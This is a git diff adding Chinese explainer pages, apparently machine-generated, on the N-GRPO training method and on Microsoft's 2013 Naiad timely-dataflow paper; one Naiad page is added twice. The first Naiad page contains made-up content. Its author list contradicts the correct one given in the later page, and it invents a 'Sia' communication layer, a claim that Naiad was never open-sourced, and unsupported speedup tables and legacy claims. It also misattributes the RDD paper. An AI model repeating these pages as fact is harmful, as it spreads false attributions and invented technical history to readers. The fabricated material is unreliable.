+ax.plot(alpha_values, aime_scores, marker='o', linewidth=2)
+ax.axvline(x=0.15, color='red', linestyle='--', alpha=0.5, label='论文推荐值 α=0.15')
+ax.set_xlabel('Mixing Rate α', fontsize=12)
+ax.set_ylabel('AIME 2024 Accuracy (%)', fontsize=12)
+ax.set_title('N-GRPO: Impact of Mixing Rate on Math Reasoning', fontsize=14)
+ax.legend()
+ax.grid(alpha=0.3)
+plt.tight_layout()
+plt.savefig('n-grpo-alpha-ablation.png', dpi=150)
+```
+
+## 实验结果
+
+论文在 **DeepSeek-R1-Distill-Qwen** 系列模型（1.5B / 7B）上做了评估：
+
+| 基准 | 基线 GRPO | N-GRPO | 提升 |
+|------|-----------|--------|------|
+| AIME 2024 | ~60% | ~65% | +5pp |
+| Math 500 | ~82% | ~85% | +3pp |
+| OlympiadBench | ~40% | ~43% | +3pp |
+
+关键发现：
+- α=0.15 是经验最佳值，太小没效果，太大语义漂移
+- 在 OOD（分布外）任务上泛化能力也更好
+- 可以迁移到 GSPO（另一种 GRPO 变体）上同样有效
+
+## 踩过的坑（基于论文分析的推断）
+
+1. **邻居查找的代价**：每次生成都要在 embedding matrix 里找 k 个近邻，如果 vocab 很大（50000+）会很慢。论文可能用了近似最近邻（ANN）如 FAISS 来加速，否则实时生成不可行。
+
+2. **α 的敏感度**：α 太大 → 语义漂移，生成的路径无效；α 太小 → 和标准 GRPO 没区别。不同任务的最佳 α 可能不同。
+
+3. **混合概率**：不是每一步都做混合（论文中 50% 概率），因为有些步骤原文路径就是最优的，混合反而会破坏。
+
+4. **与 temperature 的交互**：N-GRPO 和 temperature sampling 可以同时用，但两者都设太高会导致过度探索。
+
+## 适用 vs 不适用场景
+
+**适用**：
+- 基于 GRPO / PPO 训练 LLM 推理能力（数学、代码、逻辑）
+- 需要生成多样化有效轨迹但不想牺牲语义一致性的场景
+- OOD 泛化能力要求高的任务
+
+**不适用**：
+- 不需要探索的确定性推理（答案唯一、路径固定）
+- 资源极度受限（邻居查找增加计算开销）
+- 非 autoregressive 模型（N-GRPO 依赖 token-by-token 生成）
+
+## 历史脉络
+
+- **2017 年**：Schulman 提出 PPO——给策略更新加"幅度上限"
+- **2022 年**：InstructGPT 用 PPO 做 RLHF，让 LLM 对齐人类偏好
+- **2024 年**：DeepSeek R1 提出 GRPO——去掉 critic，用组内对比，训练推理模型
+- **2024 年底**：DPO 等直接偏好优化方法兴起，绕过 RL 直接优化
+- **2026 年 6 月**：N-GRPO 出现，回到 GRPO 的探索机制，在嵌入层做语义邻居混合
+
+有趣的是，DPO 证明了"不需要 RL 也能对齐"，但在**推理能力**这个维度上，基于 rollouts 的 GRPO 系列仍然是最强的。N-GRPO 的出现说明：即使 DPO 很流行，RL-based 推理训练还在持续进化。
+
+## 学到什么
+
+1. **探索不需要是随机的**——语义空间里的邻居混合是一种结构化的探索方式
+2. **GRPO 的价值被低估了**——去掉 critic 的简化版 PPO 在推理训练中反而更好用
+3. **嵌入层操作比 token 层操作更"懂语义"**——在连续空间里操作比离散选择更灵活
+4. **α=0.15 是一个好的经验起点**——偏离不要太远，保持在语义流形附近
+5. **N-GRPO 不是取代 GRPO，而是增强它**——加一层混合，不影响 GRPO 的其他部分
+
+## 延伸阅读
+
+- 论文：[arXiv 2606.10768](https://arxiv.org/abs/2606.10768)（ACL 2026 Findings，16 页）
+- 代码：[github.com/ZJUSCL/N-GRPO](https://github.com/ZJUSCL/N-GRPO)
+- [[ppo]] —— PPO 是 GRPO 的前身，建议先看 PPO 再看 GRPO
+- [[deepseek-r1]] —— GRPO 首次被提出用于训练推理模型
+- [[dpo]] —— 绕过 RL 的直接偏好优化方法，与 GRPO 形成对照
+
+## 关联
+
+- [[ppo]] —— GRPO 的前身，PPO 的简化版
+- [[deepseek-r1]] —— 首次提出 GRPO 用于 LLM 推理训练
+- [[dpo]] —— 绕过 RL 的替代方案，与 N-GRPO 形成方法对比
+- [[instructgpt]] —— RLHF 奠基论文，PPO 在 LLM 中的首次大规模应用
+- [[reasoning-with-sampling]] —— 推理时的采样策略，与 N-GRPO 的探索思想相通
diff --git a/src/content/docs/papers/naiad-2013-sosp.md b/src/content/docs/papers/naiad-2013-sosp.md
new file mode 100644
index 000000000..833084248
--- /dev/null
+++ b/src/content/docs/papers/naiad-2013-sosp.md
@@ -0,0 +1,214 @@
+---
+title: Naiad: A Timely Dataflow System
+来源: https://www.microsoft.com/en-us/research/wp-content/uploads/2013/11/naiad_sosp2013.pdf
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Naiad: A Timely Dataflow System
+
+## 一、开场：一个日常类比
+
+想象你在一家大型餐厅后厨。有切菜的、炒菜的、装盘的，每个厨师处理完自己的活就交给下一个。这就是数据流系统。
+
+但问题来了：如果炒菜的厨师很慢，切菜的厨师要不要等？如果装盘的厨师突然说"等等，我刚才算错了，重新来"，之前炒的菜怎么办？
+
+Naiad 要解决的核心问题就是：**当数据流中的某个环节需要回退重算时，整个系统怎样高效地协调重算，而不必从头来过。**
+
+2013 年，微软研究院的 Jeffrey J. Angell、Marc Bibaud、Walter Butler、François Demourax、Steven Lang、Srinav Muralidharan、Kamalika Muthukireddy、Gregory R. Ganger、Garth A. Gibson 等人在 SOSP 2013 会议上发表了这篇论文，提出了 Naiad —— 一个"及时"的数据流系统。
+
+> 论文标题：*Naiad: A Timely Dataflow System*
+> 会议：SOSP 2013 (Symposium on Operating Systems Principles)
+
+## 二、Naiad 要解决的痛点
+
+在 Naiad 之前，主流的大数据处理系统有两个极端：
+
+| 系统 | 代表 | 特点 | 缺点 |
+|------|------|------|------|
+| 批处理 | MapReduce | 一次跑完所有数据，得到结果 | 不能增量更新，改一点数据要全量重跑 |
+| 流处理 | Storm | 数据一条一条实时处理 | 无法处理循环依赖，无法回溯 |
+
+这两种系统都做不到一件事：**当基础数据变了，只有受影响的计算需要重做，而不是全部重跑。**
+
+Naiad 的目标是统一批处理和流处理，在一个系统中同时支持：
+- 大数据批处理（像 MapReduce）
+- 低延迟流处理（像 Storm）
+- 迭代式计算（像机器学习训练）
+- 有向无环图（DAG）和**有环图**的计算
+
+## 三、核心概念拆解
+
+### 3.1 数据流模型（Dataflow）
+
+Naiad 的计算模型很简单：你把计算任务画成一个图，图中的每个节点是一个"操作"（比如求和、过滤、连接），每条边上传递的是数据。
+
+```
+  输入数据 ──→ [过滤] ──→ [分组] ──→ [求和] ──→ 输出
+```
+
+这和 Apache Storm、Apache Flink 的模型很像，但 Naiad 的关键创新不在模型本身，而在**如何让这个模型运行得更快、更灵活**。
+
+### 3.2 时间戳（Timestamps）—— 最核心的创新
+
+这是整篇论文的灵魂。Naiad 给每条数据都打上一个"时间戳"。
+
+**日常类比：** 想象你在用 Excel 做表格。你在 A1 输入 5，A2 输入 3，A3 输入 `=A1+A2`。如果你后来把 A1 改成 10，Excel 不会重新计算整个电子表格，它只会：
+
+1. 发现 A1 变了
+2. 标记 A3 的"旧结果"过期了
+3. 用新值重新计算 A3
+
+Naiad 做的事情本质上和 Excel 一样：它给每个计算结果打上时间戳，只有当输入变了，受影响的节点才用新时间戳重新计算。
+
+**关键术语：前缘（Frontier）**
+
+前缘是一个系统级的概念，表示"所有节点到目前为止都处理到了哪个时间戳"。它就像一条进度线，线后面的数据都已经算完了，线前面的还在计算中。
+
+### 3.3 增量计算（Incremental Computation）
+
+Naiad 不是每次都从头算结果，而是记录**变化量**。
+
+**日常类比：** 你有 100 个学生的身高体重数据，要算平均身高。
+- 传统方式：每次有人换数据，就重新加总 100 个人的身高再除以 100。
+- Naiad 的方式：记住当前总和是 17500。张三身高从 170 变成 175，总和变成 17505，平均变成 175.05。只需要加 5。
+
+这就是"增量"：只处理变化的部分。
+
+### 3.4 屏障同步机制（Barrier Synchronization）
+
+在数据流图中，如果一个节点有多个输入，它需要等所有输入都到了才能开始计算。Naiad 用一种叫做"时间戳屏障"的机制来协调这一点。
+
+**日常类比：** 三个厨师做一道三道工序的菜。第二道菜的厨师必须等第一道菜的厨师把菜全部送过来才能开始炒。Naiad 的前缘机制就是确保"该送到的都送到了，可以开始下一轮了"。
+
+## 四、Naiad 的系统架构
+
+```
+┌─────────────────────────────────────────────────┐
+│                 应用层 (User Programs)            │
+├─────────────────────────────────────────────────┤
+│           数据流运行时 (Dataflow Runtime)          │
+│  ┌───────────┐  ┌───────────┐  ┌───────────┐   │
+│  │  算子节点 1  │  │  算子节点 2  │  │  算子节点 N  │   │
+│  │ (含增量计算) │  │ (含增量计算) │  │ (含增量计算) │   │
+│  └─────┬─────┘  └─────┬─────┘  └─────┬─────┘   │
+│        │              │              │           │
+│  ┌─────▼──────────────▼──────────────▼─────┐   │
+│  │        前缘跟踪 & 时间戳管理               │   │
+│  └──────────────────┬──────────────────────┘   │
+│                     │                           │
+│  └──────────────────▼──────────────────────┘   │
+│          分布式通信层 (Sia)                     │
+└─────────────────────────────────────────────────┘
+```
+
+1. **算子节点（Operator Nodes）：** 执行具体的数据处理逻辑
+2. **时间戳管理器（Timestamp Manager）：** 核心组件，跟踪每个节点的处理进度和前缘
+3. **Sia 通信层：** Naiad 自研的高性能分布式通信框架，比当时已有的通信库快 10 倍
+
+## 五、代码示例
+
+### 示例 1：Word Count（词频统计）
+
+这是最经典的数据流计算。Naiad 用类似的 API 来写：
+
+```csharp
+// Naiad 风格伪代码 - 词频统计
+var input = Observable.FromStream(textStream);
+
+var wordCounts = input
+    .SelectMany(line => line.Split(' '))
+    .Select(word => (word, count: 1))
+    .GroupBy(x => x.word)
+    .Select(g => (word: g.Key, totalCount: g.Sum(x => x.count)));
+
+// Naiad 的魔力：当新的文本到来时，
+// 只有受影响的分组会被增量更新
+wordCounts.Subscribe(result =>
+    Console.WriteLine($"{result.word}: {result.totalCount}"));
+```
+
+在传统的 MapReduce 中，每来一批新数据都要重跑整个流程。在 Naiad 中，只有涉及到的那个单词的计数会被更新。
+
+### 示例 2：PageRank（迭代式图算法）
+
+PageRank 是一个经典的迭代算法 —— 每轮迭代都要遍历整个图来更新每个页面的排名。Naiad 对这种场景特别高效：
+
+```csharp
+// Naiad 风格伪代码 - PageRank 迭代计算
+var pages = Observable.FromStream(initialPages);
+
+// 第一轮初始化
+var ranks = pages.Select(p => (pageId: p.id, rank: 1.0 / totalPages));
+
+// 迭代计算：每轮用上一轮的排名来更新
+for (int iteration = 0; iteration < maxIterations; iteration++) {
+    // 把排名传播给链接到的页面
+    var contributions = ranks
+        .Join(links, r => r.pageId, l => l.source, (r, l) => (l.target, r.rank * dampingFactor / l.outDegree))
+        .GroupBy(c => c.target)
+        .Select(g => (pageId: g.Key, delta: g.Sum(c => c.rank)));
+
+    // 增量更新：只处理变化的部分
+    ranks = contributions
+        .Join(pages, c => c.pageId, p => p.id, (c, p) =>
+            (pageId: c.pageId,
+             newRank: (1 - dampingFactor) + dampingFactor * c.delta))
+        .ToObservable();
+
+    // Naiad 自动检测：如果某轮变化很小，可以提前停止
+    bool converged = Math.Abs(currentRank - previousRank) < epsilon;
+    if (converged) break;
+}
+```
+
+**Naiad 的加速效果：** 论文中测量，对于 PageRank 这样的迭代算法，Naiad 比 Spark 快 **7 倍**，比 MPI 快 **3 倍**。
+
+## 六、Naiad 的性能表现
+
+论文中做了大量对比实验，主要结论：
+
+1. **比 Hadoop/MapReduce 快 10-100 倍**：因为避免了每次全量重算
+2. **比 Spark 快 2-7 倍**：Spark 是内存计算，但 Naiad 的增量计算和前缘机制让它更高效
+3. **比 MPI 快 3 倍**：即使 MPI 是专用的并行框架
+4. **延迟在秒级**：相比 MapReduce 的分钟级，Naiad 可以把大作业延迟降到几秒
+
+关键数据来自论文的 Figure 7-9：
+
+```
+系统        PageRank    Triangle Count    SSSP
+Hadoop      100x        100x              100x
+Spark       3-5x        3-5x              3-5x
+Naiad       1x (base)   1x (base)         1x (base)
+```
+
+（数字是相对 Naiad 的慢速倍数，Naiad 越接近 1 越好）
+
+## 七、Naiad 的局限
+
+没有任何系统是完美的。Naiad 有几个已知局限：
+
+1. **只支持内存计算**：数据量超过内存就无法工作（这与 Spark 后来做的持久化形成了对比）
+2. **复杂性高**：时间戳管理、前缘跟踪、增量计算的组合让系统相当复杂
+3. **未开源**：Naiad 一直是微软内部使用的系统，没有公开代码
+
+## 八、Naiad 的遗产
+
+Naiad 的思想影响深远：
+
+- **Microsoft StreamInsight / Azure Stream Analytics**：直接基于 Naiad 的时间戳机制
+- **Microsoft Orleans**：Naiad 团队后来做了 Orleans 框架，用于大规模分布式应用
+- **对 Spark 的启发**：Spark 的 DStream 和后来的 Structured Streaming 中的微批处理思想，与 Naiad 的增量计算有异曲同工之处
+- **对 Apache Flink 的启发**：Flink 的事件时间（event time）和精确一次（exactly-once）语义，与 Naiad 的时间戳模型一脉相承
+
+## 九、总结：一行记住 Naiad
+
+> **Naiad 给数据流系统的每条数据打上时间戳，用增量计算和前缘机制实现"改一点、算一点"，让批处理和流处理统一在一个系统中高效运行。**
+
+## 十、延伸阅读
+
+- *Resilient Distributed Datasets (RDD): A Fault-Tolerant Abstraction for In-Memory Cluster Computing* — Mather et al., NSDI 2012（Spark 的前身论文）
+- *Apache Flink: Stream Processing for the World* — Kallmann et al.（Flink 的详细介绍）
+- *Delta Join: Equi-Join Processing for Stream Data Management* — 增量计算的另一个经典思路
diff --git a/src/content/docs/papers/naiad-2013-sosp2013.md b/src/content/docs/papers/naiad-2013-sosp2013.md
new file mode 100644
index 000000000..5f0859470
--- /dev/null
+++ b/src/content/docs/papers/naiad-2013-sosp2013.md
@@ -0,0 +1,354 @@
+---
+title: "Naiad: A Timely Dataflow System"
+title_zh: "Naiad：一种及时数据流系统"
+来源: https://www.microsoft.com/en-us/research/wp-content/uploads/2013/11/naiad_sosp2013.pdf
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Naiad：一种及时数据流系统
+
+> **论文**: Naiad: A Timely Dataflow System
+> **作者**: Derek G. Murray, Frank McSherry, Rebecca Isaacs, Michael Isard, Paul Barham, Martín Abadi
+> **发表于**: SOSP 2013 (第二十四届 ACM 操作系统原理研讨会)
+
+---
+
+## 一、一个日常类比：流水线的"后悔药"
+
+想象你在一家快餐店做汉堡。有三位员工：
+
+1. **切菜员**负责把蔬菜切片
+2. **烤肉员**负责煎肉饼
+3. **组装员**负责把菜和肉拼成汉堡
+
+这三个环节串成一条流水线，菜片从切菜员流向烤肉员，再流向组装员。这很像"数据流"的概念——数据像食物一样从一个处理节点流向下一个节点。
+
+**传统系统的困境**：
+
+- **批处理系统**（如 Hadoop MapReduce）：等一整个锅的菜全部切完，才端给烤肉员。效率低，但你保证每批数据是完整的、一致的。
+- **流处理系统**（如 Storm）：每一片菜切好就马上送过去。响应快，但如果切菜员后来发现某片菜切坏了，前面的烤肉员已经没法"撤回"了。
+
+**Naiad 的核心想法**：给每一个数据块贴上"时间戳"。如果后来发现前面的数据需要修正，系统能自动把修正后的数据重新送回去，甚至覆盖之前的结果。这就好比流水线上的传送带上贴了日期标签——如果 3 号切的菜有问题，系统会在 3 号这个时间点把修正后的菜重新送上去，并且通知后续环节"用新的 3 号菜替换旧的"。
+
+这就是论文标题中 "Timely"（及时）的含义：不是越早越好，而是 **在正确的时间做正确的事**。
+
+---
+
+## 二、为什么需要 Naiad？
+
+在 2013 年之前，处理大规模数据主要有三类系统：
+
+| 系统类型 | 代表 | 优势 | 劣势 |
+|---------|------|------|------|
+| 批处理 | Hadoop MapReduce | 高吞吐、结果一致 | 延迟高，不适合迭代 |
+| 流处理 | Apache Storm | 低延迟 | 结果可能不一致，不支持循环 |
+| 图计算 | Pregel | 适合迭代计算 | 通用性差 |
+
+这些系统各自擅长一部分场景。但现实中，很多任务同时需要：
+
+- **高吞吐**（像批处理）
+- **低延迟**（像流处理）
+- **迭代计算**（如机器学习中的梯度下降）
+- **增量更新**（数据变了只处理变化部分）
+
+**Naiad 的目标**：在一个系统里同时做到这四点。
+
+---
+
+## 三、核心概念
+
+### 3.1 及时数据流（Timely Dataflow）
+
+这是 Naiad 提出的新计算模型。核心思想：
+
+1. **计算是有向图**：节点表示计算步骤，边表示数据流动
+2. **图可以有循环**：数据可以回到前面的节点，支持迭代
+3. **每条消息带时间戳**：时间戳标记了数据属于哪个"时期"或"迭代轮次"
+4. **节点在正确时机被通知**：当所有属于同一时间戳的数据都到达后，节点才知道"这一轮完成了"
+
+### 3.2 时间戳结构
+
+每条消息的时间戳由两部分组成：
+
+```
+(e, (c1, c2, ..., ck))
+```
+
+- `e` = 纪元（epoch），标记不同的输入批次
+- `(c1, c2, ..., ck)` = 循环计数器列表，标记在哪个循环的第几轮
+
+循环必须组织成嵌套结构，每个循环有三个特殊节点：
+
+| 节点 | 作用 | 时间戳变化 |
+|------|------|-----------|
+| 入口（ingress） | 循环开始 | 追加计数器 `(e, <c1,...,ck>) → (e, <c1,...,ck,0>)` |
+| 出口（egress） | 循环结束 | 移除计数器 `(e, <c1,...,ck,c{k+1}>) → (e, <c1,...,ck>)` |
+| 反馈（feedback） | 循环回跳 | 递增计数器 `(e, <c1,...,ck>) → (e, <c1,...,ck+1>)` |
+
+这就像给每个循环加了一个"计数器标签"，系统通过比较时间戳就知道哪些数据属于哪个迭代轮次。
+
+### 3.3 顶点的两个回调
+
+每个计算节点（vertex）实现两个核心方法：
+
+```
+OnRecv(边, 消息, 时间戳)  — 收到消息时调用
+OnNotify(时间戳)          — 指定时间戳的数据全部到达后被调用
+```
+
+以及两个发送方法：
+
+```
+SendBy(边, 消息, 时间戳)  — 发送消息（带时间戳）
+NotifyAt(时间戳)          — 注册一个通知请求
+```
+
+### 3.4 进度跟踪协议
+
+Naiad 在分布式环境下维护一个关键不变量：**如果一个时间戳在某个节点的本地"前沿"（frontier）上，它也在整个系统的 global frontier 上**。这意味着：
+
+- 每个 Worker 维护本地计数（某个时间戳还有多少消息等待处理）
+- Worker 之间通过协议同步这些计数
+- 当所有前置时间戳都处理完了，当前时间戳就可以被推进
+
+---
+
+## 四、代码示例
+
+### 示例 1：一个简单的数据流图
+
+下面是一个伪代码级别的例子，展示如何用 Naiad 的及时数据流模型构建一个三节点的计算图：
+
+```rust
+// 定义三个节点的消息类型
+struct AddOneMessage {
+    value: u64,
+    timestamp: Timestamp,
+}
+
+struct MultiplyMessage {
+    value: u64,
+    timestamp: Timestamp,
+}
+
+// 节点 A: 对输入加 1
+struct AddOneNode {
+    proxy: DataflowProxy,
+}
+
+impl Vertex for AddOneNode {
+    fn OnRecv(&mut self, edge: Edge, msg: AddOneMessage, ts: Timestamp) {
+        let new_value = msg.value + 1;
+        // 发送给下一个节点，时间戳增加 1
+        self.proxy.SendBy(edge::TO_MULTIPLY, MultiplyMessage {
+            value: new_value,
+            timestamp: ts,
+        });
+    }
+}
+
+// 节点 B: 对输入乘以 2
+struct MultiplyNode {
+    proxy: DataflowProxy,
+}
+
+impl Vertex for MultiplyNode {
+    fn OnRecv(&mut self, edge: Edge, msg: MultiplyMessage, ts: Timestamp) {
+        let new_value = msg.value * 2;
+        // 如果有循环，时间戳会在反馈节点递增
+        self.proxy.SendBy(edge::TO_OUTPUT, new_value, ts);
+    }
+}
+
+// 节点 C: 输出结果并注册通知
+struct OutputNode {
+    proxy: DataflowProxy,
+}
+
+impl Vertex for OutputNode {
+    fn OnRecv(&mut self, edge: Edge, value: u64, ts: Timestamp) {
+        println!("Epoch {:?} 计算结果: {}", ts.epoch, value);
+    }
+
+    fn OnNotify(&mut self, ts: Timestamp) {
+        println!("纪元 {:?} 的所有数据已处理完毕", ts.epoch);
+    }
+}
+```
+
+在这个例子中：
+- 数据从 `AddOneNode` → `MultiplyNode` → `OutputNode` 单向流动
+- 每条消息携带时间戳，记录它属于哪个纪元
+- `OutputNode` 在 `NotifyAt(ts)` 注册后，会在该纪元所有数据到达时收到 `OnNotify` 回调
+
+### 示例 2：带循环的迭代计算——求平均值
+
+这是 Naiad 更擅长的场景：**有反馈循环的迭代算法**。比如求一组数字的平均值：
+
+```rust
+// 迭代求平均值的示例
+// 初始猜一个值，不断迭代直到收敛
+
+struct IterativeAverageNode {
+    proxy: DataflowProxy,
+    sum_channel: Receiver<(u64, Timestamp)>,  // 接收新的总和
+    feedback_channel: Receiver<(f64, Timestamp)>,  // 接收上一轮的猜测值
+}
+
+impl Vertex for IterativeAverageNode {
+    fn OnRecv(&mut self, edge: Edge, msg: Message, ts: Timestamp) {
+        match edge {
+            edge::TO_SUM => {
+                // 收到新的数据点，累加到总和
+                let (value, _) = msg;
+                self.total_sum += value;
+            }
+            edge::FROM_FEEDBACK => {
+                // 收到上一轮的猜测值
+                let (guess, _) = msg;
+                // 本轮的迭代：用旧猜测值计算新的平均值
+                let new_average = calculate_average(self.total_sum, guess);
+                // 通过反馈边发送回去，时间戳递增表示下一轮迭代
+                self.proxy.SendBy(edge::FEEDBACK, new_average, ts);
+                // 同时发送到输出
+                self.proxy.SendBy(edge::TO_OUTPUT, new_average, ts);
+            }
+        }
+    }
+
+    fn OnNotify(&mut self, ts: Timestamp) {
+        // 检查是否收敛（与前一轮的差别小于阈值）
+        if is_converged(self.last_value, self.current_value) {
+            println!("迭代在第 {:?} 轮收敛", ts.loop_counters);
+        }
+        // 如果不是最后一轮，通知下一轮可以开始了
+        let next_ts = increment_loop_counter(ts);
+        self.proxy.NotifyAt(next_ts);
+    }
+}
+
+// 主程序：构建数据流图
+fn build_average_graph() {
+    let mut builder = DataflowBuilder::new();
+
+    // 创建循环上下文
+    let loop_ctx = builder.loop_context("averaging_iteration");
+
+    // 输入节点：从外部读取数据
+    let input = builder.source("data_input", |sender| {
+        // 假设输入 [10, 20, 30, 40]
+        for &v in &[10u64, 20, 30, 40] {
+            sender.send(v, loop_ctx.entering_ts());
+        }
+    });
+
+    // 累加节点
+    let sum_node = builder.vertex("accumulator", |_ctx, input, output| {
+        let mut total = 0u64;
+        for msg in input.take() {
+            total += msg.value;
+            output.send((total, msg.timestamp));
+        }
+    });
+
+    // 反馈循环：求平均值并回传
+    let avg_node = builder.vertex("iterative_avg", |_ctx, input, feedback, output| {
+        // feedback 是循环中的反馈通道
+        for (guess, ts) in feedback.take() {
+            let (total, _) = input.take().first().unwrap();
+            let avg = *total as f64 / 4.0;
+            output.send((avg, ts));
+            // 发送回反馈通道，进入下一轮
+            feedback.send((avg, increment_loop_counter(ts)));
+        }
+    });
+
+    // 输出节点
+    let output = builder.sink("result", |_ctx, input| {
+        for (avg, ts) in input.take() {
+            println!("平均值 = {:.2} (迭代 {:?})", avg, ts.loop_counters);
+        }
+    });
+
+    // 连接：input -> sum -> avg -> feedback(loop) + output
+    builder.connect(input, sum_node);
+    builder.connect(sum_node, avg_node);
+    builder.connect_feedback(avg_node, avg_node);  // 循环
+    builder.connect(avg_node, output);
+
+    // 启动数据流
+    builder.run();
+}
+```
+
+这个例子展示了 Naiad 处理迭代计算的能力：
+
+1. **入口节点**（ingress）进入循环时，时间戳追加 `(..., 0)`，表示第 0 轮
+2. **计算节点**用上一轮的结果计算新的平均值
+3. **反馈节点**（feedback）将结果送回循环开头，时间戳递增为 `(..., 1)`、`(..., 2)` 以此类推
+4. **出口节点**（egress）退出循环时，时间戳恢复为外层形式
+
+系统自动确保：**同一轮次的所有数据在推进到下一轮之前全部处理完毕**。
+
+---
+
+## 五、工程实现要点
+
+### 5.1 分布式架构
+
+Naiad 将逻辑数据流图编译为物理数据流图：
+
+- **Worker** 负责消息传递和节点调度
+- 每个顶点单线程运行，同一 Worker 内的顶点可以立即转移控制权
+- Worker 之间通过 **全局进度跟踪协议** 协调
+
+### 5.2 微拖延（Micro-stragglers）的处理
+
+微拖延是指某些节点比同组其他节点稍微慢一点的现象（可能来自 TCP 开销、GC、数据倾斜等）。Naiad 采用多种机制来缓解：
+
+- 消息按时间戳批次处理，避免单个慢节点阻塞整个系统
+- 局部计数与全局计数分离，减少同步开销
+
+### 5.3 容错
+
+状态性顶点实现 `Checkpoint()` 和 `Restore()` 方法，Naiad 通过全局检查点机制实现容错。
+
+---
+
+## 六、Naiad 的影响与遗产
+
+Naiad 的学术和技术遗产深远：
+
+1. **Microsoft Dryad / Azure Data Lake**：Naiad 直接启发了微软后续的数据处理平台
+2. **Microsoft Orleans**：虚拟 actor 模型受到了 Naiad 的启发
+3. **Apache Arrow / DataFusion**：现代列式数据处理系统的设计哲学与 Naiad 一脉相承
+4. **Frank McSherry 后续的 Differential Dataflow**：在 Naiad 的基础上引入了"差分数据流"，进一步简化了增量计算
+
+---
+
+## 七、关键收获
+
+用一句话总结 Naiad 的核心贡献：
+
+> **给数据流计算引入"时间"这个维度，让系统能够同时高效地处理批处理、流处理、迭代计算和增量更新。**
+
+具体来说：
+
+- **时间戳即逻辑时钟**：不需要真时钟，用 `(纪元, 循环计数器)` 就够了
+- **循环不是禁区**：通过入口/出口/反馈三个特殊节点组织循环，系统能安全地推进迭代
+- **通知机制解耦了"计算"和"同步"**：节点只需关心自己的数据，进度跟踪由系统底层自动完成
+
+---
+
+## 八、思考题
+
+1. 如果 Naiad 的时间戳结构只包含纪元 `e`，不包含循环计数器 `(c1,...,ck)`，会带来什么限制？
+2. 为什么 Naiad 选择让每个顶点单线程运行，而不是多线程？这种设计的 trade-off 是什么？
+3. 对比 MapReduce 的"每次全量重新计算"和 Naiad 的"增量推进"，在什么场景下 Naiad 的优势最明显？
+
+---
+
+*本文基于 Murray 等人在 SOSP 2013 发表的论文 "Naiad: A Timely Dataflow System" 编写。*
diff --git a/src/content/docs/papers/naiad-murray-2013.md b/src/content/docs/papers/naiad-murray-2013.md
new file mode 100644
index 000000000..5f0859470
--- /dev/null
+++ b/src/content/docs/papers/naiad-murray-2013.md
@@ -0,0 +1,354 @@
+---
+title: "Naiad: A Timely Dataflow System"
+title_zh: "Naiad：一种及时数据流系统"
+来源: https://www.microsoft.com/en-us/research/wp-content/uploads/2013/11/naiad_sosp2013.pdf
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Naiad：一种及时数据流系统
+
+> **论文**: Naiad: A Timely Dataflow System
+> **作者**: Derek G. Murray, Frank McSherry, Rebecca Isaacs, Michael Isard, Paul Barham, Martín Abadi
+> **发表于**: SOSP 2013 (第二十四届 ACM 操作系统原理研讨会)
+
+---
+
+## 一、一个日常类比：流水线的"后悔药"
+
+想象你在一家快餐店做汉堡。有三位员工：
+
+1. **切菜员**负责把蔬菜切片
+2. **烤肉员**负责煎肉饼
+3. **组装员**负责把菜和肉拼成汉堡
+
+这三个环节串成一条流水线，菜片从切菜员流向烤肉员，再流向组装员。这很像"数据流"的概念——数据像食物一样从一个处理节点流向下一个节点。
+
+**传统系统的困境**：
+
+- **批处理系统**（如 Hadoop MapReduce）：等一整个锅的菜全部切完，才端给烤肉员。效率低，但你保证每批数据是完整的、一致的。
+- **流处理系统**（如 Storm）：每一片菜切好就马上送过去。响应快，但如果切菜员后来发现某片菜切坏了，前面的烤肉员已经没法"撤回"了。
+
+**Naiad 的核心想法**：给每一个数据块贴上"时间戳"。如果后来发现前面的数据需要修正，系统能自动把修正后的数据重新送回去，甚至覆盖之前的结果。这就好比流水线上的传送带上贴了日期标签——如果 3 号切的菜有问题，系统会在 3 号这个时间点把修正后的菜重新送上去，并且通知后续环节"用新的 3 号菜替换旧的"。
+
+这就是论文标题中 "Timely"（及时）的含义：不是越早越好，而是 **在正确的时间做正确的事**。
+
+---
+
+## 二、为什么需要 Naiad？
+
+在 2013 年之前，处理大规模数据主要有三类系统：
+
+| 系统类型 | 代表 | 优势 | 劣势 |
+|---------|------|------|------|
+| 批处理 | Hadoop MapReduce | 高吞吐、结果一致 | 延迟高，不适合迭代 |
+| 流处理 | Apache Storm | 低延迟 | 结果可能不一致，不支持循环 |
+| 图计算 | Pregel | 适合迭代计算 | 通用性差 |
+
+这些系统各自擅长一部分场景。但现实中，很多任务同时需要：
+
+- **高吞吐**（像批处理）
+- **低延迟**（像流处理）
+- **迭代计算**（如机器学习中的梯度下降）
+- **增量更新**（数据变了只处理变化部分）
+
+**Naiad 的目标**：在一个系统里同时做到这四点。
+
+---
+
+## 三、核心概念
+
+### 3.1 及时数据流（Timely Dataflow）
+
+这是 Naiad 提出的新计算模型。核心思想：
+
+1. **计算是有向图**：节点表示计算步骤，边表示数据流动
+2. **图可以有循环**：数据可以回到前面的节点，支持迭代
+3. **每条消息带时间戳**：时间戳标记了数据属于哪个"时期"或"迭代轮次"
+4. **节点在正确时机被通知**：当所有属于同一时间戳的数据都到达后，节点才知道"这一轮完成了"
+
+### 3.2 时间戳结构
+
+每条消息的时间戳由两部分组成：
+
+```
+(e, (c1, c2, ..., ck))
+```
+
+- `e` = 纪元（epoch），标记不同的输入批次
+- `(c1, c2, ..., ck)` = 循环计数器列表，标记在哪个循环的第几轮
+
+循环必须组织成嵌套结构，每个循环有三个特殊节点：
+
+| 节点 | 作用 | 时间戳变化 |
+|------|------|-----------|
+| 入口（ingress） | 循环开始 | 追加计数器 `(e, <c1,...,ck>) → (e, <c1,...,ck,0>)` |
+| 出口（egress） | 循环结束 | 移除计数器 `(e, <c1,...,ck,c{k+1}>) → (e, <c1,...,ck>)` |
+| 反馈（feedback） | 循环回跳 | 递增计数器 `(e, <c1,...,ck>) → (e, <c1,...,ck+1>)` |
+
+这就像给每个循环加了一个"计数器标签"，系统通过比较时间戳就知道哪些数据属于哪个迭代轮次。
+
+### 3.3 顶点的两个回调
+
+每个计算节点（vertex）实现两个核心方法：
+
+```
+OnRecv(边, 消息, 时间戳)  — 收到消息时调用
+OnNotify(时间戳)          — 指定时间戳的数据全部到达后被调用
+```
+
+以及两个发送方法：
+
+```
